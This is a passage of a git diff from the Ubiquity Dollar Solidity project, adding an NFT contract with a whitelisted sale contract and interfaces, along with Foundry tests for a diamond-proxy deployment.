IUniswapV2Factory constant factory = IUniswapV2Factory(0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac); - UbiquityAlgorithmicDollarManager public manager; - IUniswapV2Pair public pair; + IUbiquityDollarManager public immutable manager; + IUniswapV2Pair public immutable pair; - constructor(address _manager) { - manager = UbiquityAlgorithmicDollarManager(_manager); + constructor(IUbiquityDollarManager _manager) { + manager = IUbiquityDollarManager(_manager); require( manager.dollarTokenAddress() != address(0), "Dollar address not set" ); require( manager.governanceTokenAddress() != address(0), - "uGOV Address not set" + "Governance token address not set" ); // check if pair already exist address pool = factory.getPair( diff --git a/packages/contracts/src/ubiquistick/UbiquiStick.sol b/packages/contracts/src/ubiquistick/UbiquiStick.sol new file mode 100644 index 000000000..9f4e7b8ad --- /dev/null +++ b/packages/contracts/src/ubiquistick/UbiquiStick.sol @@ -0,0 +1,183 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; +import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; +import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "operator-filter-registry/DefaultOperatorFilterer.sol"; + +// With this "The UbiquiStick" NFT contract you can : +// - get all ERC721 functionality https://eips.ethereum.org/EIPS/eip-721 +// - including check that someone as a NFT of the collection with « balanceOf » +// - including check who is TokenID owner with « ownerOf » +// - including optional ERC721Metadata +// but without metadata JSON schema +// with 3 types of NFTs : standard, gold and invisible, each one having same metadata +// with 3 different tokenURIs +// - including optional ERC721Enumerable +// - get you NFT listed on OpenSea (on mainnet or matic only) +// - allow NFT owner to burn it’s own NFT +// - allow one owner (deployer at start) to change tokenURIs (setTokenURI), and change minter (setMinter) and transfer it's owner role to someone else +// - allow one minter to mint NFT (safeMint) + +contract UbiquiStick is + ERC721, + ERC721Burnable, + ERC721Enumerable, + Ownable, + DefaultOperatorFilterer +{ + uint256 public tokenIdNext = 1; + + address public minter; + + string private _tokenURI; + uint256 private constant _STANDARD_TYPE = 0; + + string private _goldTokenURI; + mapping(uint256 => bool) public gold; + uint256 private constant _GOLD_FREQ = 64; + uint256 private constant _GOLD_TYPE = 1; + + string private _invisibleTokenURI; + uint256 private constant _INVISIBLE_TOKEN_ID = 42; + uint256 private constant _INVISIBLE_TYPE = 2; + + modifier onlyMinter() { + require(msg.sender == minter, "Not minter"); + _; + } + + constructor() ERC721("The UbiquiStick", "KEY") { + setMinter(msg.sender); + } + + function tokenURI( + uint256 tokenId + ) public view override(ERC721) returns (string memory uri) { + require(_exists(tokenId), "Nonexistent token"); + return + gold[tokenId] + ? _goldTokenURI + : ( + tokenId == _INVISIBLE_TOKEN_ID + ? _invisibleTokenURI + : _tokenURI + ); + } + + function setTokenURI( + uint256 ntype, + string memory tokenURI_ + ) public onlyMinter { + if (ntype == _STANDARD_TYPE) { + _tokenURI = tokenURI_; + } else if (ntype == _GOLD_TYPE) { + _goldTokenURI = tokenURI_; + } else if (ntype == _INVISIBLE_TYPE) { + _invisibleTokenURI = tokenURI_; + } + } + + function setMinter(address minter_) public onlyOwner { + minter = minter_; + } + + function safeMint(address to) public onlyMinter { + uint256 tokenId = tokenIdNext; + tokenIdNext += 1; + + //Gold one + //slither-disable-next-line weak-prng + if (_random() % uint256(_GOLD_FREQ) == 0) { + if (tokenId != _INVISIBLE_TOKEN_ID) { + gold[tokenId] = true; + } + } + _safeMint(to, tokenId); + } + + function batchSafeMint(address to, uint256 count) public onlyMinter { + for (uint256 i = 0; i < count; i++) { + safeMint(to); + } + } + + function _random() private view returns (uint256) { + return + uint256( + keccak256( + abi.encodePacked( + block.prevrandao, + block.timestamp, + msg.sender, + tokenIdNext + ) + ) + ); + } + + function _beforeTokenTransfer( + address from, + address to, + uint256 tokenId, + uint256 batchSize + ) internal override(ERC721, ERC721Enumerable) { + super._beforeTokenTransfer(from, to, tokenId, batchSize); + } + + function _beforeConsecutiveTokenTransfer( + address, + address, + uint256, + uint96 + ) internal pure { + revert("ERC721Enumerable: consecutive transfers not supported"); + } + + function supportsInterface( + bytes4 interfaceId + ) public view override(ERC721, ERC721Enumerable) returns (bool) { + return super.supportsInterface(interfaceId); + } + + function setApprovalForAll( + address operator, + bool approved + ) public override(ERC721, IERC721) onlyAllowedOperatorApproval(operator) { + super.setApprovalForAll(operator, approved); + } + + function approve( + address operator, + uint256 tokenId + ) public override(ERC721, IERC721) onlyAllowedOperatorApproval(operator) { + super.approve(operator, tokenId); + } + + function transferFrom( + address from, + address to, + uint256 tokenId + ) public override(ERC721, IERC721) onlyAllowedOperator(from) { + super.transferFrom(from, to, tokenId); + } + + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) public override(ERC721, IERC721) onlyAllowedOperator(from) { + super.safeTransferFrom(from, to, tokenId); + } + + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes memory data + ) public override(ERC721, IERC721) onlyAllowedOperator(from) { + super.safeTransferFrom(from, to, tokenId, data); + } +} diff --git a/packages/contracts/src/ubiquistick/UbiquiStickSale.sol b/packages/contracts/src/ubiquistick/UbiquiStickSale.sol new file mode 100644 index 000000000..9a2069223 --- /dev/null +++ b/packages/contracts/src/ubiquistick/UbiquiStickSale.sol @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +// FORK from Land DAO -> https://github.com/Land-DAO/nft-contracts/blob/main/contracts/LandSale.sol + +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "./interfaces/IUbiquiStick.sol"; + +contract UbiquiStickSale is Ownable, ReentrancyGuard { + using SafeERC20 for IERC20; + + struct Purchase { + uint256 count; + uint256 price; + } + + // UbiquiStick token contract interface + IUbiquiStick public tokenContract; + + // Stores the allowed minting count and token price for each whitelisted address + mapping(address => Purchase) private _allowances; + + // Stores the address of the treasury + address public fundsAddress; + + uint256 public constant MAXIMUM_SUPPLY = 1024; + uint256 public constant MAXIMUM_PER_TX = 10; + + event Mint(address from, uint256 count, uint256 price); + + event Payback(address to, uint256 unspent); + + event Withdraw(address to, address token, uint256 amount); + + constructor() {} + + function setTokenContract(address _newTokenContract) external onlyOwner { + require(_newTokenContract != address(0), "Invalid Address"); + tokenContract = IUbiquiStick(_newTokenContract); + } + + function setFundsAddress(address _address) external onlyOwner { + require(_address != address(0), "Invalid Address"); + fundsAddress = _address; + } + + // Set the allowance for the specified address + function setAllowance( + address _address, + uint256 _count, + uint256 _price + ) public onlyOwner { + require(_address != address(0), "Invalid Address"); + _allowances[_address] = Purchase(_count, _price); + } + + // Set the allowance for the specified address + function batchSetAllowances( + address[] calldata _addresses, + uint256[] calldata _counts, + uint256[] calldata _prices + ) external onlyOwner { + uint256 count = _addresses.length; + + for (uint16 i = 0; i < count; i++) { + setAllowance(_addresses[i], _counts[i], _prices[i]); + } + } + + // Get the allowance for the specified address + function allowance( + address _address + ) public view returns (uint256 count, uint256 price) { + Purchase memory _allowance = _allowances[_address]; + count = _allowance.count; + price = _allowance.price; + } + + // Handles token purchases + //slither-disable-next-line unchecked-lowlevel + receive() external payable nonReentrant { + // Check if tokens are still available for sale + require(tokenContract.totalSupply() < MAXIMUM_SUPPLY, "Sold Out"); + uint256 remainingTokenCount = MAXIMUM_SUPPLY - + tokenContract.totalSupply(); + + // Check if sufficient funds are sent, and that the address is whitelisted + // and had enough allowance with enough funds + uint256 count; + uint256 price; + uint256 paid = 0; + (count, price) = allowance(msg.sender); + require( + count > 0, + "Not Whitelisted For The Sale Or Insufficient Allowance" + ); + if (remainingTokenCount < count) { + count = remainingTokenCount; + paid = remainingTokenCount * price; + } + if (msg.value < count * price) { + paid = msg.value; + count = msg.value / price; + } + if (MAXIMUM_PER_TX < count) { + paid = MAXIMUM_PER_TX * price; + count = MAXIMUM_PER_TX; + } + require(count > 0, "Not enough Funds"); + + _allowances[msg.sender].count -= count; + + tokenContract.batchSafeMint(msg.sender, count); + emit Mint(msg.sender, count, paid); + + // Calculate any excess/unspent funds and transfer it back to the buyer + if (msg.value > paid) { + uint256 unspent = msg.value - paid; + (bool result, ) = msg.sender.call{value: unspent}(""); + require(result, "Failed to send Ether"); + emit Payback(msg.sender, unspent); + } + } + + //slither-disable-next-line unchecked-lowlevel + function withdraw() public nonReentrant onlyOwner { + (bool result, ) = fundsAddress.call{value: address(this).balance}(""); + require(result, "Failed to send Ether"); + } +} diff --git a/packages/contracts/src/ubiquistick/interfaces/ISimpleBond.sol b/packages/contracts/src/ubiquistick/interfaces/ISimpleBond.sol new file mode 100644 index 000000000..e6d907d1e --- /dev/null +++ b/packages/contracts/src/ubiquistick/interfaces/ISimpleBond.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +interface ISimpleBond { + event LogSetRewards(address token, uint256 rewardsRatio); + + event LogBond( + address addr, + address token, + uint256 amount, + uint256 rewards, + uint256 block, + uint256 bondId + ); + + event LogClaim(address addr, uint256 index, uint256 rewards); + + function setSticker(address sticker) external; + + function setRewards(address token, uint256 tokenRewardsRatio) external; + + function setTreasury(address treasury) external; + + function setVestingBlocks(uint256 vestingBlocks_) external; + + function pause() external; + + function unpause() external; + + function bond( + address token, + uint256 amount + ) external returns (uint256 bondId); + + function bondsCount(address token) external returns (uint256 bondNb); + + function claim() external returns (uint256 claimed); + + function claimBond(uint256 index) external returns (uint256 claimed); + + function withdraw(address token, uint256 amount) external; + + function rewardsOf( + address addr + ) + external + view + returns ( + uint256 rewards, + uint256 rewardsClaimed, + uint256 rewardsClaimable + ); + + function rewardsBondOf( + address addr, + uint256 index + ) + external + view + returns ( + uint256 rewards, + uint256 rewardsClaimed, + uint256 rewardsClaimable + ); +} diff --git a/packages/contracts/src/ubiquistick/interfaces/IUAR.sol b/packages/contracts/src/ubiquistick/interfaces/IUAR.sol new file mode 100644 index 000000000..4ad5802d7 --- /dev/null +++ b/packages/contracts/src/ubiquistick/interfaces/IUAR.sol @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +interface IUAR { + function raiseCapital(uint256 amount) external; +} diff --git a/packages/contracts/src/ubiquistick/interfaces/IUbiquiStick.sol b/packages/contracts/src/ubiquistick/interfaces/IUbiquiStick.sol new file mode 100644 index 000000000..e92d28bc4 --- /dev/null +++ b/packages/contracts/src/ubiquistick/interfaces/IUbiquiStick.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +interface IUbiquiStick { + function totalSupply() external view returns (uint256); + + function batchSafeMint(address, uint256) external; + + function mint(address, uint256, uint256, bytes memory) external; +} diff --git a/packages/contracts/test/diamond/DiamondInit.t.sol b/packages/contracts/test/diamond/DiamondInit.t.sol new file mode 100644 index 000000000..3f3607a5a --- /dev/null +++ b/packages/contracts/test/diamond/DiamondInit.t.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {DiamondInit} from "../../src/dollar/upgradeInitializers/DiamondInit.sol"; +import {LibAppStorage} from "../../src/dollar/libraries/LibAppStorage.sol"; +import "forge-std/Test.sol"; + +contract MockDiamondInit is DiamondInit { + function toCheckNonReentrant() external nonReentrant { + require(store.reentrancyStatus == 2, "reentrancyStatus: _NOT_ENTERED"); + + DiamondInitTest(msg.sender).ping(); + } +} + +contract DiamondInitTest is Test { + DiamondInit dInit; + + function setUp() public { + dInit = new DiamondInit(); + } + + function test_Init() public { + DiamondInit.Args memory initArgs = DiamondInit.Args({ + admin: address(0x123), + tos: new address[](0), + amounts: new uint256[](0), + stakingShareIDs: new uint256[](0), + governancePerBlock: 10e18, + creditNftLengthBlocks: 100 + }); + dInit.init(initArgs); + + uint256 reentrancyStatus = uint256(vm.load(address(dInit), 0)); + assertEq(reentrancyStatus, 1); + } + + function test_NonReentrant() public { + MockDiamondInit mockDInit = new MockDiamondInit(); + + vm.expectRevert("ReentrancyGuard: reentrant call"); + mockDInit.toCheckNonReentrant(); + } + + function ping() external { + MockDiamondInit(msg.sender).toCheckNonReentrant(); + } +} diff --git a/packages/contracts/test/diamond/DiamondTest.t.sol b/packages/contracts/test/diamond/DiamondTest.t.sol new file mode 100644 index 000000000..f4b530683 --- /dev/null +++ b/packages/contracts/test/diamond/DiamondTest.t.sol @@ -0,0 +1,358 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "./DiamondTestSetup.sol"; +import {IMockFacet, MockFacetInitializer, MockFacetWithPureFunctions, MockFacetWithStorageWriteFunctions, MockFacetWithExtendedStorageWriteFunctions} from "../../src/dollar/mocks/MockFacet.sol"; + +contract TestDiamond is DiamondTestSetup { + address pureFacet = address(new MockFacetWithPureFunctions()); + address writeFacet = address(new MockFacetWithStorageWriteFunctions()); + address writeFacetWithInitializer = + address(new MockFacetWithExtendedStorageWriteFunctions()); + address facetInitializer = address(new MockFacetInitializer()); + + function test_ShouldSupportInspectingFacetsAndFunctions() public { + bool isSupported = IERC165(address(diamond)).supportsInterface( + type(IDiamondLoupe).interfaceId + ); + assertEq(isSupported, true); + } + + function testHasMultipleFacets() public { + assertEq(facetAddressList.length, 19); + } + + function testFacetsHaveCorrectSelectors() public { + for (uint256 i = 0; i < facetAddressList.length; i++) { + bytes4[] memory fromLoupeFacet = diamondLoupeFacet + .facetFunctionSelectors(facetAddressList[i]); + if (compareStrings(facetNames[i], "DiamondCutFacet")) { + assertTrue( + sameMembers(fromLoupeFacet, selectorsOfDiamondCutFacet) + ); + } else if (compareStrings(facetNames[i], "DiamondLoupeFacet")) { + assertTrue( + sameMembers(fromLoupeFacet, selectorsOfDiamondLoupeFacet) + ); + } else if (compareStrings(facetNames[i], "OwnershipFacet")) { + assertTrue( + sameMembers(fromLoupeFacet, selectorsOfOwnershipFacet) + ); + } else if (compareStrings(facetNames[i], "ManagerFacet")) { + assertTrue( + sameMembers(fromLoupeFacet, selectorsOfManagerFacet) + ); + } + } + } + + function testLoupeFacetAddressesEqualsTheListOfAvailableFacets() public { + address[] memory facetAddresses = diamondLoupeFacet.facetAddresses(); + Facet[] memory facets = diamondLoupeFacet.facets(); + + for (uint256 i = 0; i < facetAddresses.length; i++) { + assertEq(facets[i].facetAddress, facetAddresses[i]); + } + } + + function testCutFacetShouldRevertWhenNotOwner() public { + FacetCut[] memory facetCut = new FacetCut[](1); + facetCut[0] = FacetCut({ + facetAddress: address(pureFacet), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCollectableDustFacet + }); + + vm.expectRevert("LibDiamond: Must be contract owner"); + + vm.prank(user1); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + } + + function testCutFacetShouldRevertWhenFunctionAlreadyExists() public { + FacetCut[] memory facetCut = new FacetCut[](1); + facetCut[0] = FacetCut({ + facetAddress: address(collectableDustFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCollectableDustFacet + }); + + vm.expectRevert( + "LibDiamondCut: Can't add function that already exists" + ); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + } + + function testCutFacetShouldRevertWhenNoSelectorsProvidedForFacetForCut() + public + { + FacetCut[] memory facetCut = new FacetCut[](1); + facetCut[0] = FacetCut({ + facetAddress: address(pureFacet), + action: FacetCutAction.Add, + functionSelectors: new bytes4[](0) + }); + + vm.expectRevert("LibDiamondCut: No selectors in facet to cut"); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + } + + function testCutFacetShouldRevertWhenAddToZeroAddress() public { + FacetCut[] memory facetCut = new FacetCut[](1); + facetCut[0] = FacetCut({ + facetAddress: address(0), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCollectableDustFacet + }); + + vm.expectRevert("LibDiamondCut: Add facet can't be address(0)"); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + } + + function testCutFacetShouldRevertWhenFacetInitializerReverts() public { + FacetCut[] memory facetCut = new FacetCut[](1); + facetCut[0] = FacetCut({ + facetAddress: address(pureFacet), + action: FacetCutAction.Replace, + functionSelectors: selectorsOfCollectableDustFacet + }); + + vm.expectRevert(); + + vm.prank(owner); + diamondCutFacet.diamondCut( + facetCut, + facetInitializer, + abi.encodeWithSelector( + MockFacetInitializer.initializeRevert.selector + ) + ); + } + + function testCutFacetShouldRevertWithMessageWhenFacetInitializerWithMessageReverts() + public + { + FacetCut[] memory facetCut = new FacetCut[](1); + facetCut[0] = FacetCut({ + facetAddress: address(pureFacet), + action: FacetCutAction.Replace, + functionSelectors: selectorsOfCollectableDustFacet + }); + + vm.expectRevert("MockFacetError"); + + vm.prank(owner); + diamondCutFacet.diamondCut( + facetCut, + facetInitializer, + abi.encodeWithSelector( + MockFacetInitializer.initializeRevertWithMessage.selector + ) + ); + } + + function testCutFacetAddSimplePureFacet() public { + FacetCut[] memory facetCut = new FacetCut[](1); + bytes4[] memory selectors = new bytes4[](2); + selectors[0] = MockFacetWithPureFunctions.functionA.selector; + selectors[1] = MockFacetWithPureFunctions.functionB.selector; + + facetCut[0] = FacetCut({ + facetAddress: address(pureFacet), + action: FacetCutAction.Add, + functionSelectors: selectors + }); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + + assertEq(IMockFacet(address(diamondCutFacet)).functionA(), 1); + assertEq(IMockFacet(address(diamondCutFacet)).functionB(), 2); + } + + function testCutFacetAddSimpleWriteFacet() public { + FacetCut[] memory facetCut = new FacetCut[](1); + bytes4[] memory selectors = new bytes4[](2); + selectors[0] = MockFacetWithStorageWriteFunctions.functionA.selector; + selectors[1] = MockFacetWithStorageWriteFunctions.functionB.selector; + + facetCut[0] = FacetCut({ + facetAddress: address(writeFacet), + action: FacetCutAction.Add, + functionSelectors: selectors + }); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + + assertEq(IMockFacet(address(diamondCutFacet)).functionA(), 0); + assertEq(IMockFacet(address(diamondCutFacet)).functionB(), 1); + } + + function testCutFacetAddWriteFacetWithInitializer() public { + FacetCut[] memory facetCut = new FacetCut[](1); + bytes4[] memory selectors = new bytes4[](2); + selectors[0] = MockFacetWithExtendedStorageWriteFunctions + .functionA + .selector; + selectors[1] = MockFacetWithExtendedStorageWriteFunctions + .functionB + .selector; + + facetCut[0] = FacetCut({ + facetAddress: address(writeFacetWithInitializer), + action: FacetCutAction.Add, + functionSelectors: selectors + }); + + vm.prank(owner); + diamondCutFacet.diamondCut( + facetCut, + facetInitializer, + abi.encodeWithSelector(MockFacetInitializer.initialize.selector) + ); + + // initializer should set 2 and 22 values + assertEq(IMockFacet(address(diamondCutFacet)).functionA(), 2); + assertEq(IMockFacet(address(diamondCutFacet)).functionB(), 22); + } + + function testCutFacetReplaceFacet() public { + FacetCut[] memory facetCut = new FacetCut[](1); + bytes4[] memory selectors = new bytes4[](2); + selectors[0] = MockFacetWithPureFunctions.functionA.selector; + selectors[1] = MockFacetWithPureFunctions.functionB.selector; + + facetCut[0] = FacetCut({ + facetAddress: address(pureFacet), + action: FacetCutAction.Add, + functionSelectors: selectors + }); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + + assertEq(IMockFacet(address(diamondCutFacet)).functionA(), 1); + assertEq(IMockFacet(address(diamondCutFacet)).functionB(), 2); + + facetCut[0] = FacetCut({ + facetAddress: address(writeFacet), + action: FacetCutAction.Replace, + functionSelectors: selectors + }); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + + assertEq(IMockFacet(address(diamondCutFacet)).functionA(), 0); + assertEq(IMockFacet(address(diamondCutFacet)).functionB(), 1); + } + + function testCutFacetRemoveFacetFunctions() public { + FacetCut[] memory facetCut = new FacetCut[](1); + bytes4[] memory selectors = new bytes4[](2); + selectors[0] = MockFacetWithStorageWriteFunctions.functionA.selector; + selectors[1] = MockFacetWithStorageWriteFunctions.functionB.selector; + + facetCut[0] = FacetCut({ + facetAddress: address(writeFacet), + action: FacetCutAction.Add, + functionSelectors: selectors + }); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + + assertEq(IMockFacet(address(diamondCutFacet)).functionA(), 0); + assertEq(IMockFacet(address(diamondCutFacet)).functionB(), 1); + + facetCut[0] = FacetCut({ + facetAddress: address(0), + action: FacetCutAction.Remove, + functionSelectors: selectors + }); + + vm.prank(owner); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + + vm.expectRevert("Diamond: Function does not exist"); + IMockFacet(address(diamondCutFacet)).functionA(); + vm.expectRevert("Diamond: Function does not exist"); + IMockFacet(address(diamondCutFacet)).functionB(); + } + + function testCutFacetShouldNotRemoveDiamondCutFunction() public { + FacetCut[] memory facetCut = new FacetCut[](1); + bytes4[] memory selectors = new bytes4[](1); + selectors[0] = diamondCutFacet.diamondCut.selector; + + facetCut[0] = FacetCut({ + facetAddress: address(0), + action: FacetCutAction.Remove, + functionSelectors: selectors + }); + + // try to remove diamondCut function + vm.prank(owner); + vm.expectRevert("LibDiamondCut: Can't remove diamondCut function"); + diamondCutFacet.diamondCut(facetCut, address(0x0), ""); + } + + function testSelectors_ShouldBeAssociatedWithCorrectFacet() public { + for (uint256 i; i < facetAddressList.length; i++) { + if (compareStrings(facetNames[i], "DiamondCutFacet")) { + for (uint256 j; j < selectorsOfDiamondCutFacet.length; j++) { + assertEq( + facetAddressList[i], + diamondLoupeFacet.facetAddress( + selectorsOfDiamondCutFacet[j] + ) + ); + } + } else if (compareStrings(facetNames[i], "DiamondLoupeFacet")) { + for (uint256 j; j < selectorsOfDiamondLoupeFacet.length; j++) { + assertEq( + facetAddressList[i], + diamondLoupeFacet.facetAddress( + selectorsOfDiamondLoupeFacet[j] + ) + ); + } + } else if (compareStrings(facetNames[i], "OwnershipFacet")) { + for (uint256 j; j < selectorsOfOwnershipFacet.length; j++) { + assertEq( + facetAddressList[i], + diamondLoupeFacet.facetAddress( + selectorsOfOwnershipFacet[j] + ) + ); + } + } else if (compareStrings(facetNames[i], "ManagerFacet")) { + for (uint256 j; j < selectorsOfManagerFacet.length; j++) { + assertEq( + facetAddressList[i], + diamondLoupeFacet.facetAddress( + selectorsOfManagerFacet[j] + ) + ); + } + } + } + } + + function testFallback_ShouldRevert_IfSelectorIsTooShort() public { + // pass 3 bytes selector while normally it should be 4 bytes length + vm.expectRevert(bytes("Diamond: Selector is too short")); + (bool revertsAsExpected, ) = address(diamond).call(bytes("000")); + // NOTICE: for low level calls (like `address.call()`) the returned result + // is NOT the success of the low level call but the success of the `vm.expectRevert()` + // expression, more info: https://book.getfoundry.sh/cheatcodes/expect-revert + assertTrue(revertsAsExpected); + } +} diff --git a/packages/contracts/test/diamond/DiamondTestSetup.sol b/packages/contracts/test/diamond/DiamondTestSetup.sol new file mode 100644 index 000000000..c15c8edfa --- /dev/null +++ b/packages/contracts/test/diamond/DiamondTestSetup.sol @@ -0,0 +1,481 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IERC165} from "@openzeppelin/contracts/interfaces/IERC165.sol"; +import {Diamond, DiamondArgs} from "../../src/dollar/Diamond.sol"; +import {ERC1155Ubiquity} from "../../src/dollar/core/ERC1155Ubiquity.sol"; +import {IDiamondCut} from "../../src/dollar/interfaces/IDiamondCut.sol"; +import {IDiamondLoupe} from "../../src/dollar/interfaces/IDiamondLoupe.sol"; +import {IERC173} from "../../src/dollar/interfaces/IERC173.sol"; +import {AccessControlFacet} from "../../src/dollar/facets/AccessControlFacet.sol"; +import {BondingCurveFacet} from "../../src/dollar/facets/BondingCurveFacet.sol"; +import {ChefFacet} from "../../src/dollar/facets/ChefFacet.sol"; +import {CollectableDustFacet} from "../../src/dollar/facets/CollectableDustFacet.sol"; +import {CreditNftManagerFacet} from "../../src/dollar/facets/CreditNftManagerFacet.sol"; +import {CreditNftRedemptionCalculatorFacet} from "../../src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol"; +import {CreditRedemptionCalculatorFacet} from "../../src/dollar/facets/CreditRedemptionCalculatorFacet.sol"; +import {CreditClockFacet} from "../../src/dollar/facets/CreditClockFacet.sol"; +import {CurveDollarIncentiveFacet} from "../../src/dollar/facets/CurveDollarIncentiveFacet.sol"; +import {DiamondCutFacet} from "../../src/dollar/facets/DiamondCutFacet.sol"; +import {DiamondLoupeFacet} from "../../src/dollar/facets/DiamondLoupeFacet.sol"; +import {DollarMintCalculatorFacet} from "../../src/dollar/facets/DollarMintCalculatorFacet.sol"; +import {DollarMintExcessFacet} from "../../src/dollar/facets/DollarMintExcessFacet.sol"; +import {DirectGovernanceFarmerFacet} from "../../src/dollar/facets/DirectGovernanceFarmerFacet.sol"; +import {ManagerFacet} from "../../src/dollar/facets/ManagerFacet.sol"; +import {OwnershipFacet} from "../../src/dollar/facets/OwnershipFacet.sol"; +import {StakingFacet} from "../../src/dollar/facets/StakingFacet.sol"; +import {StakingFormulasFacet} from "../../src/dollar/facets/StakingFormulasFacet.sol"; +import {UbiquityPoolFacet} from "../../src/dollar/facets/UbiquityPoolFacet.sol"; +import {MockCurveStableSwapMetaNG} from "../../src/dollar/mocks/MockCurveStableSwapMetaNG.sol"; +import {MockERC20} from "../../src/dollar/mocks/MockERC20.sol"; +import {DiamondInit} from "../../src/dollar/upgradeInitializers/DiamondInit.sol"; +import {DiamondTestHelper} from "../helpers/DiamondTestHelper.sol"; +import {UUPSTestHelper} from "../helpers/UUPSTestHelper.sol"; +import {CREDIT_NFT_MANAGER_ROLE, CREDIT_TOKEN_BURNER_ROLE, CREDIT_TOKEN_MINTER_ROLE, CURVE_DOLLAR_MANAGER_ROLE, DOLLAR_TOKEN_BURNER_ROLE, DOLLAR_TOKEN_MINTER_ROLE, GOVERNANCE_TOKEN_BURNER_ROLE, GOVERNANCE_TOKEN_MANAGER_ROLE, GOVERNANCE_TOKEN_MINTER_ROLE, STAKING_SHARE_MINTER_ROLE} from "../../src/dollar/libraries/Constants.sol"; + +/** + * @notice Deploys diamond contract with all of the facets + */ +abstract contract DiamondTestSetup is DiamondTestHelper, UUPSTestHelper { + // diamond related contracts + Diamond diamond; + DiamondInit diamondInit; + + // diamond facets (which point to the core diamond and should be used across the tests) + AccessControlFacet accessControlFacet; + BondingCurveFacet bondingCurveFacet; + ChefFacet chefFacet; + CollectableDustFacet collectableDustFacet; + CreditClockFacet creditClockFacet; + CreditNftManagerFacet creditNftManagerFacet; + CreditNftRedemptionCalculatorFacet creditNftRedemptionCalculationFacet; + CreditRedemptionCalculatorFacet creditRedemptionCalculationFacet; + CurveDollarIncentiveFacet curveDollarIncentiveFacet; + DiamondCutFacet diamondCutFacet; + DiamondLoupeFacet diamondLoupeFacet; + DollarMintCalculatorFacet dollarMintCalculatorFacet; + DollarMintExcessFacet dollarMintExcessFacet; + DirectGovernanceFarmerFacet directGovernanceFarmerFacet; + ManagerFacet managerFacet; + OwnershipFacet ownershipFacet; + StakingFacet stakingFacet; + StakingFormulasFacet stakingFormulasFacet; + UbiquityPoolFacet ubiquityPoolFacet; + + // diamond facet implementation instances (should not be used in tests, use only on upgrades) + AccessControlFacet accessControlFacetImplementation; + BondingCurveFacet bondingCurveFacetImplementation; + ChefFacet chefFacetImplementation; + CollectableDustFacet collectableDustFacetImplementation; + CreditClockFacet creditClockFacetImplementation; + CreditNftManagerFacet creditNftManagerFacetImplementation; + CreditNftRedemptionCalculatorFacet creditNftRedemptionCalculatorFacetImplementation; + CreditRedemptionCalculatorFacet creditRedemptionCalculatorFacetImplementation; + CurveDollarIncentiveFacet curveDollarIncentiveFacetImplementation; + DiamondCutFacet diamondCutFacetImplementation; + DiamondLoupeFacet diamondLoupeFacetImplementation; + DollarMintCalculatorFacet dollarMintCalculatorFacetImplementation; + DollarMintExcessFacet dollarMintExcessFacetImplementation; + DirectGovernanceFarmerFacet directGovernanceFarmerFacetImplementation; + ManagerFacet managerFacetImplementation; + OwnershipFacet ownershipFacetImplementation; + StakingFacet stakingFacetImplementation; + StakingFormulasFacet stakingFormulasFacetImplementation; + UbiquityPoolFacet ubiquityPoolFacetImplementation; + + // facet names with addresses + string[] facetNames; + address[] facetAddressList; + + // helper addresses + address owner; + address admin; + address user1; + address contract1; + address contract2; + + // selectors for all of the facets + bytes4[] selectorsOfAccessControlFacet; + bytes4[] selectorsOfBondingCurveFacet; + bytes4[] selectorsOfChefFacet; + bytes4[] selectorsOfCollectableDustFacet; + bytes4[] selectorsOfCreditClockFacet; + bytes4[] selectorsOfCreditNftManagerFacet; + bytes4[] selectorsOfCreditNftRedemptionCalculatorFacet; + bytes4[] selectorsOfCreditRedemptionCalculatorFacet; + bytes4[] selectorsOfCurveDollarIncentiveFacet; + bytes4[] selectorsOfDiamondCutFacet; + bytes4[] selectorsOfDiamondLoupeFacet; + bytes4[] selectorsOfDollarMintCalculatorFacet; + bytes4[] selectorsOfDollarMintExcessFacet; + bytes4[] selectorsOfDirectGovernanceFarmerFacet; + bytes4[] selectorsOfManagerFacet; + bytes4[] selectorsOfOwnershipFacet; + bytes4[] selectorsOfStakingFacet; + bytes4[] selectorsOfStakingFormulasFacet; + bytes4[] selectorsOfUbiquityPoolFacet; + + /// @notice Deploys diamond and connects facets + function setUp() public virtual { + // setup helper addresses + owner = generateAddress("Owner", false, 10 ether); + admin = generateAddress("Admin", false, 10 ether); + user1 = generateAddress("User1", false, 10 ether); + contract1 = generateAddress("Contract1", true, 10 ether); + contract2 = generateAddress("Contract2", true, 10 ether); + + // set all function selectors + selectorsOfAccessControlFacet 